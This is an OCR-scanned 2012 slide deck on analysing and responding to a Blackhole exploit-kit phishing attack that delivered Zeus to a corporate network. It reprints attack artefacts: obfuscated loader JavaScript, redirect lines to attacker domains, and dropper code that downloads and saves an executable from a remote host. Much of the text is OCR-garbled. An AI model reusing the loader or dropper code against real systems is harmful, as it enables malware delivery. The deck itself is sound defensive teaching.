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Malware Analysis in an Operational Environment

This presentation reviews a response-methodology to a multi-stage, ‘zero-day’ malware attack against
a corporate information-systems network. Using limited resources and with a specific aim to ensure
a comprehensive and efficient response, the attack is analysed in detail and various defensive
precautions, principles and techniques are discussed.

This analysis reviews and seeks to understand a typical, contemporary malware-attack approach,
which has been explicitly designed to make detection and prevention for IT and security staff
extremely challenging. Included in this analysis are detailed explanations of evasive techniques such as
social-engineering, spear-phishing, SMTP spoofing, HT TP and JavaScript obfuscation, binary code-
packing, password and data harvesting, data encryption and exfiltration, file-droppers, process-
injection and bot-nets.

Alongside this analysis the presentation will discuss some basic tools and techniques which IT and
Information Security teams can employ to help detect and counter such attacks against their
networks and data.With a very basic foundation in programming and digital forensics, this discussion
will review the use of free/open-source tools to help create an efficient understanding of the threat
and creation of a focused and effective response plan. Included will be an overview of defensive-
methodologies and processes such as system and network hardening and monitoring, data de-
obfuscation, decoding and decryption, static and dynamic analysis of malware code and binaries and
forensic best practises.




Qui suis-je ?

Richard Costelloe (MA, CISSP, CEH) is an Information-Security professional
employed by Murex (Enterprise Risk Management), focusing on Information
Security governance, compliance and policy development, risk-management, staff
training & education, data-leaks, working with IT teams for system-hardening and
penetration-testing and software-development teams with code-reviews and
application-security audits for Murex’s Java/C++ based financial software products.




Malware Attack: Detection

» The original phishing email arrived on October 25, addressed to a number of legitimate accounts
across four offices, various teams including Senior Management. Email and security staff were
notified and a copy retrieved. All staff in ‘cc’ immediately notified to delete mail.

From: Facebook <update-+hiehdzge@f acebookmail, com =
Ta

i

Subject: “ictaria Carpenter cammented on wour status

faceboolc

Hello,

See Comment

Victoria Carpenter corrmented on your statns.

Wictora wrote: "so cute)"

Go ko comments

Beply to this erail to corarnent on this statns.

This message was sent to If wou don't want to receive these emails from
Facebook in the future, please unsubscribe.,
Facebook, Inc., Attention: Departrnent 415, PO Box 10005, Palo Alto, C& 94303

Copyright © 2012 Murex S.A.S. All rights reserved



Malware Attack: Overview

» Blackhole Dropper with Adobe exploit

® ‘Phishing’ spoofed email from Facebook with malicious link

® Skipping HTML & JavaScript functions across multiple domains

® PHP, JavaScript obfuscation, three layers of encoding,

® Self-building, executing code: HTML to .exe

® New code detects browser & adobe reader versions

® Exploit attempt, target to retrieve and launch another binary

® Binary is compressed, packed, obfuscated and also self-building

® Harvests, packs and encrypts (RC4) local data, sends as HT TP Post

® Retrieves and launches another binary

» Zeus..
® Creates, launches new file, sets to auto-run
® Process-injection techniques to hide
® SSL outgoing, stream of pseudo-random DNS queries

® Game over: Data stolen & once C&C contact is established anything goes (financial or espionage..), remote connections, key-
loggers, bot-net, blackmail

Copyright © 2012 Murex S.A.S. All rights reserved



Basic Methodology: Battling Zeus in a BlackHole

» Malware attack with no traceable source and no way to know what the aim is

» Detect,Assess and Responding to a zero-day

® Detect:
O If lucky, staff will mention it..

O Check network access logs for random and specific domains/IP’s

o IDS/IPS if unusual

® Assess:
O Analyse code & execution to predict behaviours
O Assess threat

O Assess risk

® Response:
O Evaluate risk in context
O Technical response

O Training & awareness..
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Email header: Routing data

Microsoft Mail Internet Headers Version 2.0
(deleted internal routing headers)

Eeceived: from unknown (HELO liwvebox) ([92.59.249.1411])
by with ESHMTP; 25 Cct 2012 17:29:1% +0200

Eeceived: from 92.59.249.141 | (account|unsatisfiedwT@hendrickauto.com |HELD

gogghgxgolhhohb . wntjpdraygypo.va) by liwvebox :Enmmuniliate Pro SMIP 5.2.3)
with ESMTP& id 964676285 for; Thu, 25 COct 2012 16:29:19 +0100

From: "Facebook"™ |update+hiehdzge@facebookmail . com p Several spoofed domains
To: <>
Subject: Victoria Carpenter commented on your status }92 59 249 |4| iS Only real da.ta.

Date: Thu, 25 Oct 2012 16:29:19 +0100

Mezzage-ID: «2471126175.Z228Ve00606Egrbyspaanf.mirzm. su>

TME - ersion: 1.0 » WHOIS: France Telecom, Spain
Content-Type: multipartc/alternatcive;

X-Hajiler: uydcr-51
Content-Language: en

Return-Path:| kuschd40@marston.com |
A-Criginalf&rrivalTime: 25 Cct 2012 15:41:10.0814 (UTC) FILETIME=[284F&3E0D:(
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HTML Code

» The email is formatted as HTML and uses ‘link manipulation’, with an ‘href’ pointing to an
unexpected domain: deniquecrafts.co.za

faceboolg

"Time=s Hew Roman"'>Victoria Carpenter comme

< divs Hello,
= i ] =" 1T — [ 1
<div styvle="margin-bottom:11.25pt"> Victoria Carpenter co nted o your status,
<p clasz=l=cllormzal =2tyle="margin-bottom:12. " — = py—
E 9.0pt mso-fareast-font-family:"Times New ERo Hmmﬂawmthgﬁffenmueua5&01mMa%arﬂnem
<table class=MaocHNormalTable border=0 cellsap Click to follow link
stvle="horder-collapse:collap=se  mso-yIiti- Ta 95 e el
E} Ocm Ocm Ocm Oom' >
= <t tyle=" -yEti-1i 0 -yfti-first . .
T Style= mso-yril-irow MSo-yLL1-t1rstr Beply to thas email to corarvent on thas status.
<td =ztyle='border:=zolid E2CE822 1.0pt:m=o

= backgroand: #FFFSDT ;padding:7.5pt T.5pt 7.5pt T.5pt ">
<p clazz=H=zocllormal><span style="font-=zize:8.5pt;font-family:"Tahoma" , "zans-serif";

- </ td>
E < trs
- </takblex
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HTML Code

» Further Analysis requires moving from passive to active approach, with caution:

® Making contact: Accessing and downloading data from foreign, possibly hostile/malicious
networks and servers. Dangerous even if from neutral networks (Tor)

® Shaking the Tree? Possibly alerting attackers:
O Reconnaissance, provoking a reaction

O Something worked, emails are valid?

» Plan B! Verify, Contain, Monitor and move on..

® Check proxy logs for previous access to domain from LAN, alert remote users and delete all
copies of Email

® Update firewalls, proxies, anti-spam & Network IDS to block and alert attempts, check local HIPS

® Staff awareness & training
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Analyzing the malicious link

» index.html acquired: with ‘wget’ (i.e. non-browser) via proxy

- «<div align="center">Connecting
<script tvpe="text/javascript"
<s2cript tvpe="text/javascript"
<2cript tyvpe="text/javasoript"

- </html>

to server

<html>
{g <table width="2T75" border="1" cellpadding="3" bordercolor="#0000FF"><tr><tcd>

v e divesSodrs vre tablers far

SICH

S CH

3T C3

F'http

S fcangar24924 .. com/edzgghB2 /s . 8" ></sqript>

F'hittp

S findiasimplified. com/QEdtdio? /= . js"J</=cript>

F'http

s fonivercard. org/ves8TT3E/J=. js"»</scyipt>

» The page’s HTML code shows a simple operation: execution of three separate
and remote JavaScript files. Each script contains one line:

® document.location="http://skodadiseltunning.org/links/let-it_be.php';

® document.location="http://ser.luckypetspetsitting.com/links/let-it_be.php';

® document.location="http://srv.michigancrotchrockets.com/links/let-it_be.php';

» PHP files retrieved (all identical)
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<html>
<head>
</head>

<body>

}

}

<title></title>

<div dga="asd"></div>
<script>
p = eval("p" + "arseInt");

function asd() {

return document.getElementsByTagName ("span")[0];

function asd2() {

return q.getAttribute(i);

function asd3() {

a += String.fromCharCode (p(s,substr(i, 2), 25));

}
function asd4() {
eval(a);
}
zxc = (020 == 0x10);
</script><span> (28,000 characters of obfuscated code)</span>
<scripts|
if (zxc) {
var q = asd();
var s = ""
aa s
for (1 =0; 1 < 93; i+) {
s += asd2();
}
s = s.replace(/["a-z0-9]+/g, ""):
for (1 = 0; 1 < s.length; 1 += 2) {
asd3();
}
try {
window.document.body = s
} catch (awt) {
asd4()
}
}
</script>
</body>
</html>

“ Copyright © 2012 Murex S.A.S. All rights reserved

Blackhole analysis

» Understanding the code

® PHP?
= HTML
m JavaScript | : Defines functions
m “Span”: Encrypted/encoded array

m JavaScript |l: Defines variables, calls
functions
» What can we expect to occur?
|. Functions & variables are defined
2. Large payload is defined

3. Sanity check (“If” ), variables defined, two
loops and an execution in browser window

4. Something happens...




Blackhole Analysis

1="4a17T4g41 (4c414b421TE3n182b194hs4ad4041424544a41401950%1j454f2Ff4e) 4e3ma12842%
n@4641304glledciedbigibi4g41l4c411134g4bi3B4gde) 454a431130#3m48481Ff3n*1glg501345
) I “Span” 0="1'4g4e414n4i"3m4e173548 4h43454a2i%414g41304g (2b4n4i414e@4f454b4a28&191n1125
&a30_&g454b&a1f$301j3n1j3mt1g4n&e414g@4h&e4al?&2&4h&a3n&g&5+&b4a1f1g&n%301f3n1
B6="442b2b&lolg472bl9+1n191i4729%40114c4h4f) 441Ff471g29450294e414g*dhded4alT40!1

® > 28,000 CharaCters +4j454a404b%4j11484b30}3mﬂg454b4a#11444e4142*2blefi‘14g‘1g!ﬂczalmlmfif"‘i'?ﬂbﬂoiim&o_
34="1j301144 (3m4a404841@4el1f30114e£4h4a3c314244h4a304f17%301glg501j) 454a454g28

. H 4hE4f281k211j64c484h4345+4a281n50259%45421f1830)11454f384g§4=2454a431f%401glg4n4

® Pattern: 93 tagged sections ¢ 2|2 a281in =l i s

65="14e) 2h3m4r4llf$1glldedldc 463m30411 ! Im3n4find3~1319191g29 4d2h42114381ile
121i14711%4c484h4345'4a38454m41~1i1e19171e_294d1iZble§4£f4g414841 (2b191e1i45@111
o Any guesses? 54="a17)1k105017434$4149393m43*384g3még4h ! 4£28424h4a"304g454bsa_1£4915431553m17
404g441£%471g17442b!3m114f4c3m™4ali462b30 114341493c§45404g441F (441g13402bR431
3g473i2847£29424b4elf (402b1n294082a46114841549a434g44294401i1ilg
(35484h4345@4alglg4n48&2b4a2114041+4f304e454cE4g454biadn) 4044293
1143414921 34324b3n46$1£491glg4n (4e414g4h4e@4alTlk205084542154
£43454a3845 (4m412alolgf4nded14g4hade4alTins0+45421F482c32b451g
4g41%2i454ilg4n)3mlldb4a2i$4bia412j49%4c4g412i4514i1F1g5050~1]
£3mlg#4nded4l4gin 4e4alT424n4a3040454b " 4alE3nlg4n 45421£3m1184
040) 181£412b44#$1143414g33%4h491£4211!41i414e4f45 4bdalglglyg 4n4
3n2b*4411424b4e!493m4g334n"491£3n1g29 402b3n114£5$4c48454glf (44
13129424b4e"~1£422b1n29 422226114854142434044 (2942111i1g@4n4a542
1 3m47505050§$3011454£21 (4130474b2bR1E1m214130&474b1md51g+114g4
45#421F401145%4F384g4e4514a4317461g"1g4nd62b46 114ed14c48$3m30
£21141424542417401£43112n 3338392£31§31235213g47 (311g1g4n43@114
3g443i£294g4e414n+30114e4149%4b4i412h44) 4548401F4341g50303mdg*
mdg304431£421g4n50) 505050454241 F18401140%454i1g4n3m! 2b404b304h

] C—=0

<zpan 1=
"43174g41 (4c414b421TE3n182b154h4&4a40414245+4a414015950%175454
#F464130d4gllidcdedbdgib+4g4ldicdlil$dgdb3ifdgde) 454a431130#3md B

"l4gded4l4ndi*3mdelT3548 4h43454a2i5414g41304g(2bdndidlderdfd
aEq_£g454b431f$301j3n1j3mt1g4n4e414g@4h4e4al?42&4h43304g45+4
ag=
"442h2bE10l1gdT72b1941n15114729%4011404h4f) 441 F4T1g2945029441
J1454a404b%4711484b30) 3mdgd54b4af#ll4d4edl142+2hledddgdg! 40281
34=

"13301144 (Zm4d4adl484134delf3olldeidhndadc3il42+4hdadodflj%3o0lgl
R4f281k211j5&4c484h4345+44a281n5029%45421F1830)11454f384g#4e45
65=

"14e) 2h3mdf411f#1glldedldc*d83m30411f ' Im3hdfimd 341319191929
114711+%4c484h4345!4a38454m41°111e19171e 254d1i2blefdf4gd1484

"al7)1klo501343#414g393m43*384g3mdgdh! 4f28424h4a*3odgdSdbda
4g441f*471g1j442b! 3m114f4c3m”4a1j462b30 1143414g3c§45404g441
15=
"431f471g2d 3g47312847529424b4elf (402bin2940E2a4611484144a43
4a53m3nd4B84140(35484h434584alglg4ndB&2b42114041+4f304e4540%4
35=

"14040401830%1143414g21 34324b3n4651f491glgdn (4edldgihdeidal
odo 30114c484h§43454a3845 (4md412alolgidndedldgdhidedalTin50+4
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Blackhole Analysis

» 1l JavaScript execution flow

® |F statement, (Which is always true?)

® Set’s q as the result of function asd(),
initiates: “s” and “a”

® 94 loops

O asd2() to construct full string:“s”

O Parsing, substitution, cleaning up

® Decode “s”, run asd3() on pairs

® Try: Attempts to execute the resulting payload

Copyright © 2012 Murex S.A.S. All rights reserved

55<script>

1f({zxc)

=k

var g=asd() ;

e

var s="",a="";

for(i=0;1<93;1++) {s+=asd2() ;}
s=s.replace(/[*a-z0-9]+/g,""):
for(i=0;i<s.length;i+=2) {a=d3() ;}
try{window.document. body=s}catch(awt) {azsd4 () }

}

"</ script>




Blackhole Analysis

» JavaScript Detail

If (zxc) {

The first part calls the variable ‘zxc’ — which has been determined as “True’ — this is a strange ‘sanity check’, basically setting a validity or integrity
check for the remainder of the section. It’s not clear why this is included however as the value would always be “True’ — but potentially it’s verifying
the operating environment.

varq=asd(); vars="“;a="";

Result is ‘q’ given a value of “[object HTMLSpanElement]”, two new variables initiated

for (i = 0; i < 93; i++) {s += asd2()}
The first “for” loop reformats the ‘Span’ variable in proper order. This loop specifies that for 93 steps (0-92), the variable ‘s’ is created with each of

the Span elements in numerical order.

s = s.replace(/[*a-20-9]+/g, "");
This section basically parses the new Span variable to remove non-alphanumeric characters, “(!"#$%"&())" - which were added as an additional layer

of obfuscation. Following this method the length of the Span variable is reduced by over 2500 characters

for (i = 0; i < s.length; i += 2) {asd3()}
This section runs the next de-obfuscation routine. The for-loop runs from 0 to the length of the Span variable, in steps of 2. The function asd3() then
uses the following two characters in the sequence for an encoding-substitution based on the radix base 25. The string ‘a’ in asd3() is then appended

with the resulting character. Following this section the value of ‘a’ is now readable and executable code.

try {window.document.body=s} catch(awt) {asd4()}
Finally uses decoded characters as payload in new browser window

Copyright © 2012 Murex S.A.S. All rights reserved




Blackhole Analysis

> 11l JavaScript functions

® Creates variable (p) as a function: “Function parselnt(){[ ]}”
® Extracts from Span

® Various character substitution and decoding loops

® Executes code

® (Validity check data define)

> What can we predict? What do we know? Not much...

H—]::script}

p=eval {("p"+"arzelInt™) ;

Tunction asd() {refturn document.getElementsByTagame ("span™) [0] 5}
Tfunction asdZ () {return g.gethttribute (i) ;}

Tfonctiaon asd3{) {alert{at=5tring.fromCharCode {(p{=s.substrc{"4g",2),25}}) }
Tfunction asd4{) {eval{a) ;}

ZXRo=({020=0x10}% ;

</ 3cripty>
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BlackHole Analysis

» JavaScript Detail

® p =eval("p"+"arselnt"); In JavaScript the ‘eval’ statement is similar to ‘execute’. The result of (“p” + “arselnt”) creates “Parselnt” —
which JavaScript interprets as a native function. The actual value of variable ‘p’ is assigned the statement: “Function parselnt(){[native code]}”

® function asd(){return document.getElementsByTagName("span')[0];} Extracts sections of the “Span” code by tag, which later
get’s assigned as ‘q’

® function asd2(){return q.getAttribute(i);} This function is used for the parsing of the large ‘span’ variable. When implemented this is
used to separate out the ‘span’ to 93 individual variables. The variable ‘q’ from above is used here.

® function asd3(){a+=String.fromCharCode(p(s.substr(i,2),25));} Used to parse and substitute characters from the ‘span’ data. This
function simply translates input into another character set, a simple but effective method of encoding and obfuscation. The individual sections
(from inside-out):

® function asd3(){a+=String.fromCharCode(p(s.substr(i,2),25));} Used to parse and substitute characters from the ‘span’ data. This
function simply translates input into another character set, a simple but effective method of encoding and obfuscation. The individual sections
(from inside-out):

® s.substr(i,2) : JavaScript method for extracting code from variable ‘7, for two characters at a time

® String.fromCharCode(p(s.substr(i,2),25)) ‘p’is given function ‘parselnt()’, so in operation this would read: parselnt(s.substr(i,2),25)
This function parses the string that results from (s.substr(i,2), and returns an integer. The integer itself is derived from interpreting this string
using an encoding or substutituion ‘radix parameter’ value of 25. From here the ‘String.fromCharCode’ performs another level of
encoding substitution — creating unicode values from the string defined.

® function asd4(){eval(a);} The final function ‘asd4()’ simply executes ‘a’, which is now the decoded and assembled payload of the web page
® zxc=(020==0x10); This is curious sanity check. In JavaScript the string 020 is here interpreted as an octal value, which is equivalent to the

decimal number 16. The string 0x10 is a hex string, also equal to the decimal 16. So the value returned in this case is (given the operator
‘==9 is the value True.
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1 <htrml>
Z Eﬁhead}
3 <titler</titlex
4 r</head> '
5 H<body>
A
7 <div dga="asd"></div>
=
9 [=scripts
10 alert{"Hi therel™};
11
12 p=eval("p"+"arzeInt") ;
13 Ffunction asd() {return document.getElementsByTagName( "span”) [0] :}
14 Ffunction aszdZ{) {retuzrn q.getittribute{i);}
15 function asd3(){at+=8tring. fromCharCode(p{=s.substr{i,2),25));:}
la Function asdd(){ewval{a);}:
17 zxce=({020==0x10) ;
18
139 [ </script>
Z0
Z1 [H=span 1="4al174g41{4c414b421733n182b19%4h&4a40414245+4a341401950%1754
22
23 [ </span=
24
25 .
Za  Hescripts Hithere!
27
28 1 Ff{zxc)
23 H{
a0 Ok
31 var g=asd();
32 var ==""_a="";
33
34 For(i=0;1<93 ;i++) {s+=a=d2() ;}
35 z=s.replacel/ [ta-z0-9]+/g,"");
36 for(i=0;1<s.length;i+=2) {a=sd3{) ;}
a7 try{window. document. body=s} catch{awt) {asd4{) }
38
39 B
40 [ </scripts
41 r=/body>
42 “</html=
43
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Dynamic Testing

® Run the HTML, JavaScript
functions safely in browser

® Notepad++, Firefox (Web Dev Toolbar)

® Reverse-engineer loops and decode

® Run the script in a controlled method:
O Insert breaks, change flow operation
O Execute functions in a controlled way

O Display live values of variables

O Change values of data
® Use of ‘Alert()’

® Keep notes..




BlackHole Analysis

» Dynamic Testing

® Display values, results from obfuscated functions

L al

Message from webpage @
éiscript} '
& !1 function parselnt() {
[hative code]
1
alert{p=eval{"p"+"arseInt™}) ;
Frnncrtion CI..:H_}.{} {.LI:tHJ..II chere e getElementsB}rT
(]9

function asdE() {return g.getittribute{i) ;}
fuanction asd3(){at=8tring. fromCharCode(p{s. sy
Function a=sdd4({){ewval{a) ;};

zgxce=({0Z0==0z10) ;

C </ acriptE
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BlackHole Analysis

» First Step: Testing assembly and Parsing

p=eval(“p"+"arseint");

function asd(){return document.getElementsByTag

function asdZ({@

function asd3 (][ Mestachomweopage
{

function ssd

® Sanity check removed

® Several functions disabled
=0
/script> A -

!494:4“n4i’*3m4e173548_4h43454a2534149413olg(2bln4|£14e@lf-tS-Cbt M .
2288190112511+ 26181j45 3m>6A041281935)40 4 434545214 144130 4q 1 ® Isolate first routine and watch:

91443m!i424048414e 7 284240 4330_4g454b4a1f§3013n]3m(1g4ndedldg .
©4hdeda1742&dh 43304945 + dbda1f1gdn%3013n 1 3m) 1950501 45#4F2id Assembles the Span in order.
14245%424140284214h 43304945 4b4a1f3n1g_4ndedldgdh$dea=

® Values of variable (s) shown incrementing

var q-asd();

var s="",a="";

Ps

for(1=0;1<93;i++){s+=asd2(); Message from webpage ot

alert( i=1
j= '+ 4 A -
'+

14g4el4ndirImae173548_4h4345432i$4149413049(2b Andid14e D 45404
3288091n 12510+ 2619143 3m%4941281935) 404h 43454a#21414g4130% 491
91j443m! 43404341427 28424nda30_4g454baalfi3ol3nl3m(1géndedldg
15 D4ah4e431T42&4h 43304945 +4b 4 1flgdn%301f3n13m) 1950501 45# 4214
14245%424140284214h 43304945 4b 43 1f3n1g_4ndedldg4h$4edalTdqdl(4c
414b4217@3n182b194h 84240414245+ 4341401950761 45 4F2F de) de 3m 128
4284h43304g45" 4b 85 1F3n1g!dn e 414g4h M de A3 1F1m3Im_dedeImallm$4S
10114g41(4f4g1F343n D 464130411 4dc de dbdgab « 4g414c4111%4qdbI84g
4e)4542431130%3md8481f3n* 1910501j45!4f 2k dhda30 " 28424h4a30_4g454
bdy1f$3n1gdnded1(dgdhdeds 1T B Agdldca14b&d?1T 0=

-
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BlackHole Analysis

» Parsing routine on (s)

® s = s.replace(/[*a-z0-9]+Ig, "");

® Alert(), before and after

l4gd4ed4ldndi”~3mdel73548 4h4345422i15414g41304g(2bdndi

ed4l14gl4hdedall4254h4a304g45+4b4alfigint30lf3nlg3m) 1
423m4128424#4h43304g45%4b4alfinlgl4nded4ldgih~4edalfl
4330 4g454b4alfi3nlgdndedl (4gdhdedall@dgdldicdidbed?
2431595017+454f334h459%28424h4530) 4g454b4alf#3nlg4nde
217*3n2b2bl9%4f!4g4e4543437191d1d1fim 3h401lmlglls4gd
1m431743(414g334h45@28424h4a30sd4g454b4alf+3nlj3olgd
43%414g334h49)3741434k1g#11414k4130%1f3nlg284a14h48
£f13301373n1j3mlj43 2bd4c3md4ed4f5412nd4a4g29(45421£411]1
fRlgdndedligadhdedal740+11304b454cE3mded1334h) 4941
4elfim#2bln2%3m2a*323m4g4411145454a1F3071148414a43 |
_3m3iljleoln$1g2a431£f3n(3g3m3iljloflnlglgdndeadldg4dh
£1840+11454f384g%4e334h491f)3nlglgdndef#dligdhdeda*]
4f4c-45454g!1334h453741°434k1gll3o 4b4a3o3migslf3glsl
1g4n (413g3m3i2bR374143274k&4cl111b2050+45421f3m2c%30
951g501j1b) 1b443m4f324#4545413541%4c4128424h!4a304g45
md41~1f301g2d3c 281f3m114554f384g4=45(4a431£f301gR2d3
114g414fed4glf403g3n+3ilglg4nd42%2b4a3m4i45) 433migib4d

Eg4e4l4n4i3m4el?354B4h43454a2i414g41394g2b4n4i

43304g454b4alflgd4n30lf3nli3migs05017454Ff214142
414gdhdedalfim3miede3m4lImidSiglligdldfdglf343n
2b2bl19%424h4a304g454b4a15501)454f384g4=2454534328
4b42173n2b2b15424h453n4142155017)454f384g4=334h
281m3g3h403i3g3h403h113h3k1j1k3ilhimlj4f4c4845
2d1f4011454f23141424545341401f301g2d4a41437173741
4h43304g454b4a1f44174217401g4n4i3mdel7412bdgdd
401gl1dld4011304b45%4c3mded41334hd454f1gdndedldgdh
3741434k1g29424bd4elf3m2bln29%3m2a323mdgd44114545
3m3i117loinlg2a431f3n3g3m3iljlolniglgd4ndedidgdh
334h491f3nlglgdinded4ligdihdedsl17424h48485045421F
303m4glf3gl91ni191j191n191§191n1914191n193ilg29
181f1m3h401mlgllaga14f4glfa13g3m3ilglg4nd13g3m
424317424h423049g454b4al1f301g4n45421£f183m11454f
11484142434g44253n1i1il1g4nd45421f3ml11454f384gde
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BlackHole Analysis

» Multiple-Decoding Routines

<script>
if (zxc) {
el ® For length of S, run asd3() to create @’
var s = ",
&= Wk . :
e S SR e O ParselNT(): String to Integer
s += asd2() ;
b o O Encoding: fromCharCode(): Radax 25
s = s.replace(/[*a-z0-3]+/g, "");
for (i =0; i< s.length; 1 += 2) {
| A ® Alert placed in function, not script!
il :'indow document.body = s (] F i ic ‘4o’ i ‘e’
: - irst string is ‘4g’, alert gives ‘t
} catch (awt) {
asd4 ()
9 9
L b ® Second ‘4€’, equals ‘r
</script>
Message from webpage @
14 fanction asd() {return document.getElementsEyTagName{ "span™) [0];}
15 function asdZ(){return q.getittribute(i) ;} L
1la function asd3(){at=dtring. fromCharCode(p{s.substr{i,2),25)), |alert{a);} -Ix
17 Jifunction asdd () {ewval{al;};
13 zxo=(0Z0==0x10} ;

“494h4e414k™ = murex
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BlackHole Analysis

» Resulting string

® Executable JavaScript is constructed from ‘Span’, appears to be a Plugin-Detection routine

Message frorm webpage

& trear
£ PluginDetect={wersion:"0.7.8", narme:"PluginDetect” handlerfunction(c,
boa){return function(Q{cib,a)LisDefined:function{b){return typeof
bl="undefined"},is&rray:function (b returnifarray/i).testiObject.prototy
petostring.call{b)iLisFuncfunction{b){return typeof
=="function"}isString:function{b)return typeaf b=

try {

var PluginDetect = |{(
“0.7.8";
"PluginDetect”,
handler: function (¢, b, a) |

version:
name:

return function () |
C(bl a)

© 2012 Murex S.AS. Al

494e414n4i3m4e1735969h43454a2141494130492b4n4141404€45404a28191n1125112619134a3n
9412515935484 493454425414949130491911443m454048914025424h4a3049454b4alr30133n113ml
ind4441499dh48e8517429h9a30494549b4a1r194n3013n1Tnlg505019454971214142454a9140284240
33049454b4airInlgdnded1d94n4e4a17494914c414b42173n1020199h4a404142954241401950134
Gf2f4adeindl2B424hdadodgdsdbialt3nlgdndedisgsndadalfindndadaimdlindsiglladldtag
£343nd641320dglldcdadbdgibdgdeldcd 11l dgib384gdediiadiii3cind 481 InlglaS01345482ks
423028424h4a2304g454bdalfinigindedidgthdedalV4gdldcdi4be2i73n2b2b1942dhdadodgiSib
al95017454£384g492454a432684924h4a50dg454bdaifinlgéndedldgihdedal7idgil 4cé1dbi2173n2
2b194fd4gde454a43195017454€339h4926424hda304g454bdalfinlgindedisgthindalTigilicdl
B42173n202119484h493n4140195015454F38494e334h49528424hd4a3049454b4alfanlgdndndlsgsl
4441040914904 14b92173n2b2R194099424454843157141411 In3h401Inlgll 49914 04giTfinlglg50ly
34149334h493741434K20In3g3ne032393Nh40301I3h3K111Kk341hIn]l)4r4cd84544334n493741434
2B1p3g3hll3h3k1Iik311m431343914933404928492404a30409454b4alr3nl)3olgdndidndal 4020
ge4054£193n2bd011454£28dg9e324nd91fIn1g2d11d011454F233142454ad1401£301g2d4ad14]1
37414323 0kdc1f301g28401143414g324h493701434k 19212414k €1301F3n192084adhd8482%4ad1dg
hiedal73nZdIniginii28dadhd0465023304b494cindedld34n494£26424hda3cdgeS4ibdalfiils
17401g4n4iim4e17412b4g44454£f1330133n133017432bdcindedf412nd9adg294542LF9111454£38
94e334h401Fd4191d1d4111454€364g4e334h401F4219lg4n45421F4111454F214142454a41401¢64
19141d40113040494c3n 92413340 4990194n4091994h4645817490113040999cTm4a41339045401094
4219503044114 4c4845491r81114M4c4B4549334h453741454R1gRFSNELE2114r4c4345491r4




Blackhole Analysis

if (1d.isIE) {

} Adobe Exploit Pa.yload a = "Adobe.*PDF.*Plug-7?in|Adobe. *Acrobat. *Plug-7in|Adoke. *Reader. *Plug—7in";

if (g.getVerszionDone l== 0} {

g.getVersionDone = 0;

PY Self—bwldmg HTML code! ?f=(iiél?eT{:MimeEnabledPlugin(g.mimeType, a):
n==r

® Browser, Plugin versions checked.. ). (b 55 d. hasKinetype(a.ninetyne)) {
b = d.findNavPlugin(a, 0)

® Adobe exploit constructed and ran

Plugins: {

adobercader: {

insertHTML: function (g, b, h, a, 1) { mimeType: "applicaticn/pdf",

var m, n = document, navPluginCkj: null,
k = this, progID: ["AcroPDF.PDEF", "PDF.PdfCtrl™],
q, P = n.createBElement({"=; ) BH classID: "clsid:CABAYT7B0-280D-11CF-A24D-444553540000",
o, j, £= "<"; INSTALLED: [},

var ¢ = ["out tyle”, "none®, "I yie’ pluginHasMimeType: function (d, <, f£) {

e = bl oy var b = this,
R B

if ('k.,isDefined(a)) { e = b.5,
a = '

) 2

if (k.isString(g) && (/[*\3)/).test(g)) ( et e 2 el
g = g.tolLowerCase().replace(/\=/g, ""); if (d[a]l && d[za]l.type && d[a].type == c) {
q=f +g + " wadth="" + k.pluginSize + '’ return 1
q = ‘aty ‘% i+ yrinline; " *; }
for (o = 0; o < b.length; o= o + 2) { 1

.1sGecko = (/Gecko/i).test(h) && (/Ceckols*\/\s*\d/1).test(i);
.verzecko = c.iscecko ? oL formatMNum{/rvisFhohe® ([N 0d] 41 1) te
.izChrome = (/Chrome'\s*\/hva* (\d[\d\.]*)/1).test{i);

.verChrome = ¢.isChrome ? c.formatNum{RegExp.351) : null;
.is8afari = ((/Apple/i).test(g) |l (lg && !c.isChrome)) && (/Safa

.verfafari = c.isfafari && (/Versionis*\/ \s* (Wd[Wd\V.]1*) /1) . testll
.ig0pera = (/Operatls*[W/]2ve* (Wd+h . 2vd*) Si) . test (i)

.VerQpera = <.isOpera && ((/vVerzionhzs*\/\=* (Wd+h.2vd*F) /1) . test (1)
caddWinEvent {("load”, <.handler({c.runWLfuncs, <))

[ o S T T o S T O R
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BlackHole Analysis

» Exploit Warhead: File Dropper

® “2a1928a.exe” is same HTML code, created and launched locally

® Remote file (Update_Flash_Player.exe) is retrieved — possible execution via Adobe exploit

-]
(& &}

with(ral) {

712 end redirect = function () {

713 window.location_ href = | 'http:/fskodadiseltunning. orgfadobe/update flash plaver.exe' '|
715 window.onbeforeunload = function () {

716 return "";

718 try {

7149 Yar rad4 = ".//..//aal%28a.exe",

720 ra3 = document.createElement ("object™);

721 rai_ gethttribnte ("id", ral) s

T22 ral.setAttribute ("classid", |"clsid:BDO96C556—-65A3-11D0-9838-00C04FC29E36™) ;
723 try {

T24 var ral = rai.Createlbiject ("adod".concat ("b.=tx™, "eam"), "M},

725 ral = ra3.CreateCbject ("Shell.ipplication™, "%},

T26 raz2z = rald.CreateCbject ("msxml2 .XMLHTTE™, "");

T27 try {

728 |Iaz.open("GET", "httu:ffskodadiseltunninq.quflinksflet—it_be.uhn?zmqlndxu=0k0
729 raz.zend();

T30 ral.tcype = 1;

Tiziak ral.openi():

T32 ral.Write (ra2.responseBody) ;

TiEiE ral.5aveToFile (ra4, 2):

TS rad.Claose ()

T35 } catch (e) {}

736 try {1

Copyright © 2012 Murex S.A.S. All rights reserved
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Blackhole Analysis

» Exploit warhead: File Dropper

® Adobe Exploit Data:
O CLSID: BD96C556-65A3-11D0-983A-00C04FC29E36
O msxml2.XMLHTTP

O http://skodadiseltunning.org/links/let-
it_be.php?zmqlndxu=0402090838&slsf=03370302073706343433&teu=04&kjaiyh=mmdrnngp&oac=jlcqebbf
(possible

O Shell.Application : SaveToFile .//../[aal928a.exe

® Result: Malware binary (“update_flash_player.exe) is downloaded, but seems executed only on refresh

w S
® ) Application Data ) Local Settings
I Cookies ) My Documents Dpening update_flazh_player exe
@ ) Desktop My Recent Documents

1 NetHood

| PrintHood
__1SendTo
) Start Menu

¢ Favorites
® | Local Settings
= ) My Documents

=) Downloads

@ My Music - Templates

@ My Pictures ) UseData
@ My Recent Documents j NTUSER.DAT
|3 PrintHood ‘

) SendTo




Malware Analysis

» What just happened?!
® Spear-phishing email, social-engineering

)
® Various domains, spoofed or hijacked D OH‘

® |avaScript to re-arrange, parse,
de-obfuscate, decode, substitute
and execute a script

® Script drops .exe file of HTML
® Executed via Adobe exploit

® File downloaded

® |ive Action Demo!

Copyright © 2012 Murex S.A.S. All rights reserved



Malware Binary File Analysis

» Analysis Methodology

® Describe, hash, compare, scan examine, carve up
interpret, understand, manipulate..

® Static Analysis: Look for clues in code

